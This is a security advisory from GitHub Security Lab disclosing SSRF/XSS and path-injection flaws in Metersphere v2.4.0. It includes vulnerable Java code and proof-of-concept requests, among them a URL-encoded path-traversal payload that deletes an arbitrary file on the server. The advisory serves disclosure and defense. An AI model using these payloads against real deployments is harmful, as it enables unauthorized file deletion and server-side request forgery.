Coordinated Disclosure Timeline

Summary

Metersphere is vulnerable to Server-Side Request Forgery and Path Injection.

Product

Metersphere

Tested Version

v2.4.0

Details

Issue 1: Server-Side Request Forgery in IssueProxyResourceService::getMdImageByUrl (GHSL-2022-132)

Metersphere’s IssueProxyResourceController loads a /md/get/url endpoint passing a user-controlled url GET parameter (1) to getMdImageByUrl (2).

// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/test-track/backend/src/main/java/io/metersphere/controller/IssueProxyResourceController.java

@RestController
@RequestMapping(value = "/resource")
public class IssueProxyResourceController {
    @Resource
    IssueProxyResourceService issueProxyResourceService;

    @GetMapping(value = "/md/get/url")
    public ResponseEntity<byte[]> getFileByUrl(@RequestParam ("url") String url, @RequestParam (value = "platform", required = false) String platform, // 1
                                               @RequestParam ("project_id") String projectId, @RequestParam ("workspace_id") String workspaceId) {
        return issueProxyResourceService.getMdImageByUrl(url, platform, projectId, workspaceId); // 2
    }
}

getMdImageByUrl then passes url to RestTemplate’s exchange method in 3, which will make a request and return the contents of url.

// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/test-track/backend/src/main/java/io/metersphere/service/wapper/IssueProxyResourceService.java#L32

public ResponseEntity<byte[]> getMdImageByUrl(String url, String platform, String projectId, String workspaceId) {
    if (url.contains("md/get/url")) {
        MSException.throwException(Translator.get("invalid_parameter"));
    }
    ...

    return restTemplate.exchange(url, HttpMethod.GET, null, byte[].class); // 3
}

Proof of Concept

curl -X GET 'http://127.0.0.1:8081/resource/md/get/url?url=https://securitylab.github.com'

An attacker can serve malicious JavaScript and point url to it, thus making the victim’s browser to execute it in the context of Metersphere’s origin.

Impact

This issue may lead to Server-Side Request Forgery and Cross-Site Scripting.

Resources

Issue 2: Path Injection in ApiTestCaseService::deleteBodyFiles (GHSL-2022-133)

Metersphere’s ApiTestCaseController loads a /delete/{id} endpoint which takes a user-controlled string id and passes it to ApiTestCaseService’s delete method.

// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/api-test/backend/src/main/java/io/metersphere/controller/definition/ApiTestCaseController.java#L127

@GetMapping("/delete/{id}")
...
public void delete(@PathVariable String id) {
    apiTestCaseService.delete(id);
}

ApiTestCaseService’s delete method passes the former id (now testId) to ApiTestCaseService’s deleteBodyFiles.

// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/api-test/backend/src/main/java/io/metersphere/service/definition/ApiTestCaseService.java#L331

public void delete(String testId) {
    ...
    deleteBodyFiles(testId);
    ...
}

Which uses the user-provided value (testId) in new File(BODY_FILE_DIR + "/" + testId), being deleted later by file.delete().

// https://github.com/metersphere/metersphere/blob/165ceb70edca4c9a712aeb6b8e882270074f0736/api-test/backend/src/main/java/io/metersphere/service/definition/ApiTestCaseService.java#L365

public void deleteBodyFiles(String testId) {
    File file = new File(BODY_FILE_DIR + "/" + testId);
    FileUtil.deleteContents(file);
    if (file.exists()) {
        file.delete();
    }
}

Proof of Concept

  1. Log in with an account (can be non-administrator)
  2. Create a file that the PoC will delete:
docker exec -it $(docker ps -q --filter "name=ms-server") touch /tmp/DELETE_ME
docker exec -it $(docker ps -q --filter "name=ms-server") ls /tmp/DELETE_ME
  1. Send the following request replacing the SESSION cookie and CSRF-TOKEN header:
GET /api/testcase/delete/..%2F..%2F..%2F..%2Ftmp%2FDELETE_ME HTTP/1.1
Host: 127.0.0.1:8081
CSRF-TOKEN: <CSRF-TOKEN>
Cookie: SESSION=<SESSION-COOKIE>
  1. Verify that the file was deleted:
docker exec -it $(docker ps -q --filter "name=ms-server") ls /tmp/DELETE_ME

Impact

This issue may lead to authenticated Arbitrary File Delete.

Resources

CVE

Credit

These issues were discovered and reported by GHSL team member @jorgectf (Jorge Rosillo).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2022-132 or GHSL-2022-133 in any communication regarding these issues.